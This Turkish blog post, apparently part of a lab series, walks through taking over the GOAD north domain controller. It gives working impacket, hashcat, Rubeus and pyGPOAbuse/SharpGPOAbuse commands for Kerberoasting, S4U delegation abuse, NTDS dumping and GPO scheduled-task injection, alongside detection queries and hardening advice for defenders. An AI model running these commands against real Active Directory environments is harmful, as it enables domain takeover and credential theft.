Series · 4 partsAssessing Active DirectoryPart 2 · You are here
- 1GOAD Bölüm 1: Sıfır Kimlik Bilgisinden Saldırı Grafiğine
- 2GOAD Bölüm 2: NORTH Domain Controller'ını Ele GeçirmekYou are here
- 3GOAD Bölüm 3: ACL Zincirinde Orman Köküne Tırmanmak
- 4GOAD Bölüm 4: Orman Güvenini Aşarak essos.local'i Ele Geçirmek
Bir Dayanak Noktasından Domain Controller’a
Bölüm 1’in sonunda üç GOAD domain’inde de çalışan kimlik bilgilerim ve tam bir BloodHound veri setim vardı. Bu bölümde north.sevenkingdoms.local üzerine odaklanıp düşük yetkili samwell.tarly hesabımı DC02 (winterfell, 192.168.56.11) üzerinde Administrator’a dönüştürüyorum. Amaç yalnızca bir hesabı ele geçirmek değil; o hesabın neden Domain Controller’a kadar gidebildiğini ve her adımın nasıl kapatılabileceğini göstermek.
NORTH için BloodHound grafiğine baktığımda, ikisi de DC02’de biten iki ayrı yükseltme yolu öne çıktı. İlk yol, Domain Controller’a constrained delegation yapılandırılmış Kerberoast edilebilir bir servis hesabından geçiyor. İkinci yol, samwell.tarly’nin düzenleme izni olduğu bir Group Policy Object (StarkWallpaper) üzerinden işliyor. İki yol birbirinden bağımsız görünse de ortak bir özellik taşır: Her ikisi de düşük yetkili bir hesabın, doğrudan yönetici olmadan DC02 üzerinde kod çalıştırmasına izin verir. Bu yüzden bulguları ayrı ayrı değil, aynı savunma katmanının farklı delikleri olarak değerlendirmek gerekir. Aşağıda her iki yolu da Kali makinemden yürütüyor, her birinin hangi telemetriyi bıraktığını ve nasıl kapatılacağını not ediyorum.
north.sevenkingdoms.local hesabından DC02 kontrolüne giden iki bağımsız yol: kırılan servis hesabının constrained delegation'ı ve domain köküne bağlı GPO üzerindeki yazma yetkisi.
NORTH alt etki alanında Kerberoasting ve GPO yetki aşımı adımları doğrudan DC02'ye (winterfell) çıkan iki paralel dayanak oluşturur.North domain temel yapılandırması ve savunma duruşu
Resmi GOAD dokümantasyonu north.sevenkingdoms.local alt domain’ine iki Windows Server 2019 sunucusu atar:
| Sunucu | IP | Rol | İşletim Sistemi | Windows Defender | Ana Vektörler |
|---|---|---|---|---|---|
DC02 (winterfell) | 192.168.56.11 | Child DC, KDC, DNS | Windows Server 2019 | Etkin (Enabled) | Kısıtlı Delegasyon (S4U2Proxy), GPO İstismarı (StarkWallpaper) |
SRV02 (castelblack) | 192.168.56.22 | Üye Sunucu, IIS, MSSQL | Windows Server 2019 | Devre Dışı (Disabled) | Web dosya yükleme, MSSQL linked server pivot |
[!NOTE]
DC02üzerinde Windows Defender Etkin olmasına rağmen, ne Kerberoasting ne de Kısıtlı Delegasyon (S4U2Self+S4U2Proxy) antivirüs uyarısı üretir. Kerberos bilet taklitleri ve protokol geçişleri tamamen bellek içi (in-memory) LSASS oturumları ve ASN.1 ağ paketleri üzerinde gerçekleştiğinden, disk tabanlı imza taraması bu saldırı zincirini doğrudan algılayamaz.
Adım 1: Servis Hesaplarını Kerberoasting ile Kırmak
Kimliği doğrulanmış herhangi bir domain kullanıcısı, kayıtlı Service Principal Name (SPN) taşıyan herhangi bir hesap için KDC’den servis bileti (TGS-REP) isteyebilir. Bir SPN, hesabın hangi servisi sunduğunu söyler; KDC de o servise ait bileti hedef servis hesabının parolasından türetilen anahtarla şifreler. Bu yüzden bilet, saldırganın çevrimdışı olarak parola tahmin edebileceği bir veri haline gelir (MITRE T1558.003). Biletin şifrelenmesi parolayı doğrudan açığa çıkarmaz; ancak zayıf bir parola seçildiyse hashcat gibi araçlar bu şifreli veriyi sözlük saldırısıyla çözebilir. Bu nedenle Kerberoasting, parola gücüyle doğrudan ilişkili bir saldırıdır. Bölüm 1’deki samwell.tarly hesabını kullanarak north içindeki SPN hesaplarını listeliyorum:
$ impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11
ServicePrincipalName Name MemberOf Delegation
--------------------------------------------------- ----------- ------------------------------ -----------
HTTP/eyrie.north.sevenkingdoms.local sansa.stark CN=Stark,CN=Users,...
CIFS/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,... constrained
HTTP/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,... constrained
MSSQLSvc/castelblack.north.sevenkingdoms.local sql_svc
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sql_svc
Ardından -request ile biletleri isteyip hashcat (-m 13100) ile kırıyorum:
$ impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11 -request -outputfile kerb.hashes
$ hashcat -m 13100 kerb.hashes /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$...*...:iknownothing
Üç kullanıcı hesabının SPN’i var (sansa.stark, jon.snow ve sql_svc) ve jon.snow hemen iknownothing parolasına kırılıyor. sql_svc ise rockyou.txt’e karşı kırılamıyor; çünkü GOAD kurulum dosyalarındaki parolası YouWillNotKerboroast1ngMe.... Bu, uzun ve tahmin edilemez bir parolanın Kerberoasting’i nasıl durdurduğuna iyi bir örnektir. Delegation sütunundaki constrained etiketi yüzünden burada ihtiyacım olan tek şey jon.snow’u kırmak; çünkü asıl fırsat parolanın kendisinde değil, bu hesaba tanınan delegasyon yetkisinde.
BloodHound Cypher: Delegasyon yetkili Kerberoastable hesapları avlamak
Binlerce nesne barındıran kurumsal bir dizinde manuel inceleme yetersiz kalır. BloodHound CE üzerindeki aşağıdaki Cypher sorgusu, kayıtlı SPN taşıyan ve aynı zamanda kısıtlı delegasyon yetkisine sahip kullanıcıları anında listeler:
MATCH (u:User)
WHERE u.hasspn = true AND u.allowedtodelegate IS NOT NULL
RETURN u.name AS ServiceAccount, u.serviceprincipalnames AS SPNs, u.allowedtodelegate AS TargetSPNs
Windows ve PowerShell araç eşdeğerleri
İşlemleri Linux/Impacket yerine etki alanına dahil edilmiş bir Windows uç noktasından yürütürken aynı keşif ve bilet çekme adımları ActiveDirectory PowerShell modülü, PowerView veya Rubeus ile gerçekleştirilebilir:
# ActiveDirectory modülü (PowerShell)
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName, msDS-AllowedToDelegateTo |
Select-Object SamAccountName, ServicePrincipalName, msDS-AllowedToDelegateTo
# PowerView (bellek içi keşif)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, msds-allowedtodelegateto
# Rubeus (bellek içi Kerberoast bileti isteyip konsola dökme)
Rubeus.exe kerberoast /user:jon.snow /nowrap
Tespit: Kerberoasting, RC4 (etype 23 / 0x17) şifreleme isteyen bir TGS-REQ patlaması olarak görünür ve DC’de Event ID 4769 olarak loglanır. Bir kullanıcı hesabı aniden domain’deki her SPN için bilet isterse ya da AES (0x12) taban çizgiyken 0x17 şifreleme talep ederse net bir sinyal vardır. Tek başına bir RC4 isteği kötücül değildir; önemli olan bunun kim tarafından, hangi sıklıkta ve mevcut taban çizgisine göre istendiğidir.
Kontrol: Servisleri, Windows tarafından otomatik döndürülen 120 karakterlik parolalar kullanan group-managed service accounts (gMSA) altında çalıştırın. Bir uygulama SPN’li standart bir kullanıcı hesabı gerektiriyorsa ona 25+ karakterlik rastgele bir parola verin ve hesapta RC4 şifrelemeyi devre dışı bırakın.
[!TIP] Kısıtlı delegasyonun yanı sıra, resmi GOAD kurgusunda
jon.snowhesabıCASTELBLACK(192.168.56.22) üzerindeki SQL Server’dasysadminyetkisine sahiptir ve doğrudanSRV03(braavos.essos.local) sunucusuna bağlı aktif bir Linked Server taşır. Kerberos orman güven sınırlarını tamamen atlayarak veritabanı bağlantısı üzerinden ormanlar arası pivot senaryosunu incelemek için SQL Server Linked Servers ile Ormanlar Arası Pivot rehberine göz atabilirsiniz.
Adım 2: Domain Controller’a Constrained Delegation
jon.snow’un parolasının önemi, KDC’nin bu hesaba hangi delegasyon yetkisini tanıdığından gelir. (S4U2Self ve S4U2Proxy’nin protokol düzeyinde nasıl çalıştığına daha derin bir bakış için ayrıca şunu yazdım: Inside Kerberos Delegation: Why Multi-Tier Windows Apps Need It (and Why It Breaks).) Önce north içindeki tam delegasyon yapılandırmasını görmek için LDAP sorguluyorum:
$ nxc ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --find-delegation
AccountName AccountType DelegationType DelegationRightsTo
------------ ----------- ---------------------------------- ----------------------------------------
jon.snow Person Constrained w/ Protocol Transition CIFS/winterfell, CIFS/winterfell.north...
CASTELBLACK$ Computer Constrained HTTP/winterfell, HTTP/winterfell.north...
jon.snow, Domain Controller’ın (DC02) kendisindeki SMB servisi olan CIFS/winterfell’i hedefleyen protocol transition’lı constrained delegation (TrustedToAuthForDelegation) ile yapılandırılmış. Kısıtlı delegasyon, bir servisin kullanıcı adına başka bir servise bilet almasına izin verir; protocol transition ise kullanıcının hiç Kerberos bileti almamış olması durumunda bile bunu mümkün kılar. Bu yetki meşru çok katmanlı uygulamalar için tasarlanmıştır; ama aynı yetki ele geçirildiğinde saldırganın herhangi bir kullanıcıyı taklit etmesine yarar. Bu nedenle jon.snow, S4U2Self ile herhangi bir kullanıcı hiç giriş yapmadan onun adına forwardable bir bilet alabilir ve bunu S4U2Proxy’ye geçirerek Administrator olarak bir CIFS/winterfell.north.sevenkingdoms.local bileti elde edebilir:
$ impacket-getST -spn CIFS/winterfell.north.sevenkingdoms.local \
-impersonate Administrator 'north.sevenkingdoms.local/jon.snow:iknownothing' -dc-ip 192.168.56.11
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
Bu .ccache biletini KRB5CCNAME’e aktarıp winterfell.north.sevenkingdoms.local’a karşı nxc smb’ye geçiriyorum:
$ export KRB5CCNAME=Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
$ nxc smb winterfell.north.sevenkingdoms.local -k --use-kcache --shares
SMB winterfell.north.sevenkingdoms.local 445 WINTERFELL [+] north.sevenkingdoms.local\Administrator from ccache (Pwn3d!)
SMB winterfell.north.sevenkingdoms.local 445 WINTERFELL ADMIN$ READ,WRITE Remote Admin
SMB winterfell.north.sevenkingdoms.local 445 WINTERFELL C$ READ,WRITE Default share
DC02 üzerinde Administrator olarak ADMIN$ ve C$’a okuma/yazma erişimiyle, aynı Kerberos biletiyle çalıştırılan impacket-secretsdump -k -no-pass komutu NTDS.dit dosyasını ve north.sevenkingdoms.local içindeki her hash’i döker. Administrator’ın parolasına hiç ihtiyaç duymadım; yalnızca jon.snow’un parolası ve delegasyon kuralı yetti. Buradaki asıl zafiyet, bir servis hesabının Domain Controller servisine delege edilebilmesidir.
Protokol kablo mekaniği: Derinlemesine S4U2Self ve S4U2Proxy ([MS-SFU])
Kırılan servis hesabı hash’inden DC02 üzerinde Domain Admin yetkisine geçiş, Microsoft Kerberos Protokol Genişletmeleri ([MS-SFU]) ile yönetilir:
-
S4U2Self (
PA-FOR-USER):- Servis hesabı (
jon.snow), rastgele bir hedef kullanıcı (Administrator) adına kendisine bir servis bileti talep etmek üzere KDC’ye başvurur. - Kerberos
TGS-REQpaketi, hedef kullanıcı adını (Administrator), etki alanını vejon.snow’un uzun vadeli gizli anahtarıyla hesaplanan HMAC sağlama toplamını içerenPA-FOR-USERpre-authentication padata yapısını taşır. - KDC sağlama toplamını doğrular. Ardından
jon.snow’unuserAccountControlözniteliğini kontrol eder:TRUSTED_TO_AUTH_FOR_DELEGATIONbiti (0x1000000) ayarlanmışsa (Protokol Geçişi), KDC üretilen TGS biletineFORWARDABLEbayrağını (0x40000000) ekler. - Savunma kontrolü: Hedef kimlik
Protected Usersgrubundaysa veyaAccount is sensitive and cannot be delegated(NOT_DELEGATED0x100000) bayrağına sahipse, KDC biletiFORWARDABLEbayrağı olmadan üretir ve saldırı zinciri bu noktada kırılır.
- Servis hesabı (
-
S4U2Proxy (Kısıtlı İletme):
- Elinde yönlendirilebilir (forwardable) bir bilet bulunan
jon.snow, hedef servisi (CIFS/winterfell.north.sevenkingdoms.local) belirten ikinci birTGS-REQgönderir. - İlk adımda elde edilen forwardable
Administratorbileti, isteğinadditional-ticketsalanına eklenir. - KDC, talep edilen SPN’in
jon.snowhesabınınmsDS-AllowedToDelegateToçok değerli özniteliğindeki listede bulunup bulunmadığını denetler. - Doğrulama sağlandığında KDC,
Administrator’ı taklit eden geçerli birCIFSservis bileti üretir. Denetim izini korumak için KDC, PAC yapısındakiTransitedServicesarabelleğinejon.snowkimliğini yazarak aracı servisi kayda geçirir.
- Elinde yönlendirilebilir (forwardable) bir bilet bulunan
Windows ve C# araç eşdeğerleri (Rubeus)
Windows uç noktalarında Rubeus bu protokol geçişini tamamen bellek içinde gerçekleştirir ve sahte bileti doğrudan mevcut oturuma enjekte eder (/ptt):
# S4U2Self + S4U2Proxy adımlarını çalıştır ve oluşan bileti mevcut logon oturumuna aktar
Rubeus.exe s4u /user:jon.snow /rc4:iknownothing /impersonateuser:Administrator /msdsspn:CIFS/winterfell.north.sevenkingdoms.local /ptt
# Biletin Windows Kerberos önbelleğine yüklendiğini doğrula
klist
# SMB üzerinden Domain Controller'a bağlan
dir \\winterfell.north.sevenkingdoms.local\C$
Tespit: Bir S4U2Self + S4U2Proxy dizisi DC’de iki ardışık Event ID 4769 üretir: ilkinde jon.snow, Administrator adına kendisine bilet ister; ikincisinde CIFS/winterfell için TransitedServices alanı dolu bir bilet talep eder. Ayrıca msDS-AllowedToDelegateTo ve userAccountControl üzerindeki LDAP değişikliklerini de izleyin.
Kontrol: Mümkün olduğunca TrustedToAuthForDelegation’dan kaçının ve constrained delegation’ı asla bir Domain Controller SPN’ine (CIFS/, LDAP/, HOST/) yöneltmeyin. Aynı derecede önemli olan, tüm Domain Admin hesaplarında “Account is sensitive and cannot be delegated” seçeneğini işaretlemek (veya bu hesapları Protected Users güvenlik grubuna almak); böylece KDC S4U2Self sırasında onları taklit etmeyi reddeder.
Adım 3: Yazılabilir Bir GPO’yu İstismar Etmek
DC02’ye giden ikinci yol Kerberos’a hiç dokunmaz. Bölüm 1’deki BloodHound verimizde samwell.tarly’nin StarkWallpaper GPO’su üzerinde WriteDacl, WriteOwner ve GenericWrite izinleri vardı. (Bu ACE bitmask’lerinin ve güvenlik tanımlayıcılarının LDAP’ta nasıl çalıştığını şurada ayrıntılı açıklıyorum: Active Directory as a Directed Graph: How Security Descriptors and Object ACLs Actually Work.) O GPO’nun hangi makineleri etkilediğini görmek için nereye bağlı olduğunu kontrol ediyorum (MITRE T1484.001):
$ ldapsearch -x -H ldap://192.168.56.11 -D 'samwell.tarly@north...' -w Heartsbane \
-b "DC=north,DC=sevenkingdoms,DC=local" "(gPLink=*)" dn gPLink
dn: DC=north,DC=sevenkingdoms,DC=local
gPLink: [LDAP://cn={B4BB975E-77E3-4D76-B30B-7D5433AAA3BD},cn=policies,cn=system,...]
{B4BB975E-77E3-4D76-B30B-7D5433AAA3BD} (StarkWallpaper) doğrudan DC=north,DC=sevenkingdoms,DC=local köküne bağlı olduğundan DC02 dahil domain’deki her makine onu uygular. Bu bağlantı türü etkiyi tek bir iş istasyonundan tüm domaine yayar; Domain Controller da bu kapsamın içindedir. GPO bir sonraki yenileme döngüsünde uygulandığı için saldırganın ek bir tetikleme yapmasına gerek kalmaz; politika zaten tüm etki alanına dağıtılır. O GPO’yu düzenleyebilen herkes, NT AUTHORITY\SYSTEM olarak çalışan anlık bir zamanlanmış görev gönderebilir. Bunu pyGPOAbuse ile zararsız bir işaret dosyası komutu kullanarak test ediyorum:
$ python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:Heartsbane \
-gpo-id B4BB975E-77E3-4D76-B30B-7D5433AAA3BD -dc-ip 192.168.56.11 \
-command 'cmd.exe /c echo jankesec_poc > C:\jankesec_poc.txt' -taskname jankesec_poc
[+] ScheduledTask jankesec_poc created!
SYSVOL’u ve GPO’nun versionNumber özniteliğini kontrol etmek, görevin politikaya yazıldığını doğrular:
$ smbclient //192.168.56.11/SysVol -U 'north.../samwell.tarly%Heartsbane' \
-c 'ls "...\{B4BB975E-...}\Machine\Preferences\ScheduledTasks\"'
ScheduledTasks.xml A 1797 Tue Nov 3 18:58:23 2026
# versionNumber on the GPO object incremented from 131073 to 131074
Bir sonraki Group Policy yenileme döngüsünde DC02, ScheduledTasks.xml dosyasını SYSVOL’dan çekip komutu NT AUTHORITY\SYSTEM olarak çalıştırır. Yazmayı doğruladıktan sonra test görevini hemen pyGPOAbuse ile temizledim; laboratuvar dışında bu tür bir değişiklik kullanıcıları ve sistemleri doğrudan etkiler.
BloodHound Cypher: Domain köküne bağlı yazılabilir GPO’ları tespit etmek
Domain köküne veya Domain Controllers OU’suna uygulanan Group Policy nesnelerini değiştirme yetkisine sahip kullanıcı veya grupları listelemek için:
MATCH (u:User)-[r:GenericWrite|GenericAll|WriteDacl|WriteOwner]->(g:GPO)-[:GpLink]->(d:Domain)
RETURN u.name AS Principal, type(r) AS AbuseRight, g.name AS GPOName, d.name AS LinkedContainer
Windows ve C# araç eşdeğerleri (SharpGPOAbuse ve PowerView)
Windows üzerinde ACL denetimi ve zamanlanmış görev enjeksiyonu, Python araçlarına ihtiyaç duymadan PowerView ve SharpGPOAbuse ile yürütülebilir:
# PowerView: StarkWallpaper GPO'su üzerindeki yazma izinlerini doğrula
Get-DomainGPO -Identity "StarkWallpaper" | Get-DomainObjectAcl -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -eq (Convert-NameToSid "samwell.tarly") }
# SharpGPOAbuse: SYSTEM olarak çalışan anlık bir bilgisayar zamanlanmış görevi enjekte et
SharpGPOAbuse.exe --AddComputerTask --TaskName "jankesec_poc" --Author "NT AUTHORITY\SYSTEM" `
--Command "cmd.exe" --Arguments "/c echo jankesec_poc > C:\jankesec_poc.txt" `
--GPOName "StarkWallpaper"
# DC üzerinde Grup İlkesi altyapısını hemen yenilenmeye zorla (test amaçlı)
Invoke-Command -ComputerName winterfell.north.sevenkingdoms.local -ScriptBlock { gpupdate /force }
Tespit: Bir GPO’yu değiştirmek, versionNumber ve gPCMachineExtensionNames LDAP’ta güncellendiğinde DC’de Event ID 5136 tetikler; ayrıca SYSVOL\...\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml içinde SMB dosya oluşturma olayları görülür. Bir GPO’da aniden Scheduled Tasks CSE GUID’i ({CAB54552-DEEA-4691-817E-ED4A4D1AFC72}) belirirse bunu yüksek öncelikli alarm olarak ele alın.
Kontrol: CN=Policies,CN=System altındaki her GPO kapsayıcısının ve eşleşen SYSVOL klasörünün nTSecurityDescriptor değerini denetleyin; yönetici olmayan hesaplar için WriteDacl, WriteOwner ve GenericWrite izinlerini kaldırın. Ayrıca genel iş istasyonu GPO’larını, altında Domain Controller’ların bulunduğu domain köküne bağlamaktan kaçının.
Savunma telemetrisi ve Windows Event ID referansı
Bu saldırı zincirini izlemek, hem LDAP dizin değişikliklerini hem de Kerberos bilet işlemlerini gözlemlemeyi gerektirir:
| Saldırı Adımı | Windows Event ID | Olay Açıklaması | Belirleyici Telemetri Alanları |
|---|---|---|---|
Kerberoasting (jon.snow) | 4769 | Kerberos Servis Bileti Talebi | ServiceName: CIFS/thewall, TicketEncryptionType: 0x17 (RC4), TicketOptions: 0x40810000 |
| S4U2Self İle Kimliğe Bürünme | 4769 | Kendi Adına Bilet Talebi | ServiceName: jon.snow, TargetUserName: Administrator |
| S4U2Proxy Bilet Sahteciliği | 4769 | Delege Edilen Servis Bileti | ServiceName: CIFS/winterfell, TransitedServices ara servis bilgisiyle dolu |
| GPO LDAP DACL Değişimi | 5136 | Dizin Servisi Nesnesi Güncellendi | CN={B4BB975E-...} nesnesinde AttributeLDAPDisplayName: nTSecurityDescriptor |
| GPO Zamanlanmış Görev Enjeksiyonu | 4698 / 4702 | Görev Oluşturuldu / Güncellendi | TaskName: \jankesec_poc, taskeng.exe / svchost.exe altında ClientProcessId |
| SMB Yanal Yayılma | 4624 | Başarılı Oturum Açma | LogonType: 3 (Ağ), AuthenticationPackage: Kerberos, AccountName: Administrator |
SIEM ve SOC tespit kuralları
Bu saldırı vektörlerine karşı yüksek doğruluklu tespitler oluşturmak, Event ID, erişim maskeleri ve bilet bayraklarını birleştiren hedefe yönelik sorgular gerektirir:
1. Splunk: RC4 ile Kerberoasting (Event ID 4769)
Otomasyon araçlarının tipik özelliği olan RC4 şifreli Kerberos bilet taleplerindeki (Ticket_Encryption_Type=0x17) ani artışları yakalar:
index=wineventlog EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$"
| stats count dc(Service_Name) as distinct_spns values(Service_Name) as targets by src_ip, Account_Name
| where distinct_spns > 3 OR count > 5
2. Splunk: S4U2Proxy Protokol Geçişi Anomalisi (Event ID 4769)
TransitedServices PAC alanının biletin bir ara servis üzerinden iletildiğini gösterdiği kısıtlı delegasyon taleplerini tespit eder:
index=wineventlog EventCode=4769
| eval TransitedServices=coalesce(Transited_Services, TransitedServices, "-")
| search TransitedServices!="-" Service_Name="CIFS/*"
| table _time, ComputerName, Account_Name, Service_Name, TransitedServices, Ticket_Options
3. Splunk: GPO DACL / Öznitelik Değişikliği (Event ID 5136)
CN=Policies,CN=System altındaki Group Policy kapsayıcılarına yönelik yetkisiz dizin servisi değişikliklerini yakalar:
index=wineventlog EventCode=5136 ObjectDN="*CN=Policies,CN=System,DC=*"
| search AttributeLDAPDisplayName IN ("nTSecurityDescriptor", "versionNumber", "gPCMachineExtensionNames")
| table _time, SubjectUserName, ObjectDN, AttributeLDAPDisplayName, OperationType
4. Sigma kural kesiti: GPO zamanlanmış görev uzantısı eklenmesi
title: GPO Uzerinde Supheli Zamanlanmis Gorev CSE Degisikligi
status: experimental
description: Bir GPO nesnesine Scheduled Tasks Client Side Extension GUID'i ekleyen LDAP degisikliklerini tespit eder
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136
ObjectDN|contains: 'CN=Policies,CN=System'
AttributeLDAPDisplayName: 'gPCMachineExtensionNames'
AttributeValue|contains: '{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}'
condition: selection
falsepositives:
- Domain Administrator tarafindan yapilan mesru kurumsal GPO olusturma islemleri
level: high
Bulguların Özeti
Aşağıdaki tablo, her bulguyu hangi hesabın hangi hedefe karşı kullandığını, etkisini ve savunmada neye bakılacağını tek yerde toplar. Böylece tek tek adımlar arasındaki bağ kaybolmaz ve kapatılması gereken asıl yapılandırma hatası görünür kalır.
| Bulgu | Hesap → hedef | Etki | Doğrula (Kali’den) | Kontrol |
|---|---|---|---|---|
| Zayıf parolalı roast edilebilir SPN | jon.snow | Çevrimdışı kırılabilir (iknownothing) | impacket-GetUserSPNs <dom>/<user>:<pass> -dc-ip <dc> -request | gMSA / 25+ karakter parola; RC4’ü kapat |
| DC servisine protocol transition’lı constrained delegation | jon.snow → CIFS/winterfell | DC02 admin’i için Administrator bileti üret | nxc ldap <dc> -u jon.snow -p ... --find-delegation | TrustedToAuthForDelegation’u kaldır; adminleri sensitive/non-delegable işaretle |
| Domain köküne bağlı GPO üzerinde WriteDacl | samwell.tarly → StarkWallpaper | Her north hostunda SYSTEM zamanlanmış görev | ldapsearch ... "(gPLink=*)" gPLink + BloodHound | Admin olmayan GPO ACE’lerini kaldır; 5136’yı denetle; GPO linklerini kapsamlandır |
| DC02 tarafından kabul edilen S4U2Proxy bileti | Administrator (taklit edilen) | ADMIN$/C$ okuma-yazma; NTDS.dit erişilebilir | nxc smb <dc> -k --use-kcache --shares | Protected Users; yalnızca AES; delegasyon gözden geçirme |
Sıradaki Bölüm: Bölüm 3
DC02’yi ele geçirmek bize north.sevenkingdoms.local alt domain’inin tam kontrolünü verir. Bölüm 3’te, Bölüm 1’de SYSVOL’dan kurtardığımız tywin.lannister parolasını kullanarak ana domain sevenkingdoms.local’a yükseliyoruz: KINGSLANDING’e giden sekiz adımlı ACL zincirini shadow credentials, DACL ve sahiplik yeniden yazmaları, grup üyeliği tırmanışı ve orman köküne karşı son bir Resource-Based Constrained Delegation (RBCD) + DCSync ile yürüyoruz.
Kanıt ve Sınırlar
Bu dizi, Bölüm 1 ile aynı izole GOAD anlık görüntüsü (snapshot) üzerinde çalıştırıldı. Yazı; her geçişi mümkün kılan kimlikleri ve hedef SPN’leriyle birlikte belirleyici Kerberoast, S4U, SMB ve GPO çıktılarını korur. Gösterilen parola ve hash’ler GOAD test verileridir; yalnızca hangi kimlik bilgisinin veya biletin kabul edildiğini kanıtladıkları yerde tutulmuştur.
Yol, GOAD’ın kasıtlı servis hesabı parolalarına, delegasyon kayıtlarına ve GPO sahipliğine bağlıdır. Bu nedenle her alt domain’den controller’a uzanan evrensel bir rota olarak okunmamalıdır. Bu ayrım önemli: Laboratuvarda tekrarlanabilen bir zincir, üretimde aynı koşullar sağlanmadan çalışmayabilir. GPO değişikliği laboratuvar dışında yıkıcıdır; doğrulamadan sonra ortam snapshot’tan sıfırlandı ve hiçbir üretim politikası değiştirilmedi.
Kaynaklar
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- S1ckB0y1337, AD Exploitation Cheat Sheet: github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- HackTricks, AD Methodology: book.hacktricks.xyz
- MITRE ATT&CK, Kerberoasting (T1558.003): attack.mitre.org/techniques/T1558/003
- MITRE ATT&CK, Domain Policy Modification: GPO (T1484.001): attack.mitre.org/techniques/T1484/001
- Microsoft, Kerberos Constrained Delegation overview: learn.microsoft.com
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

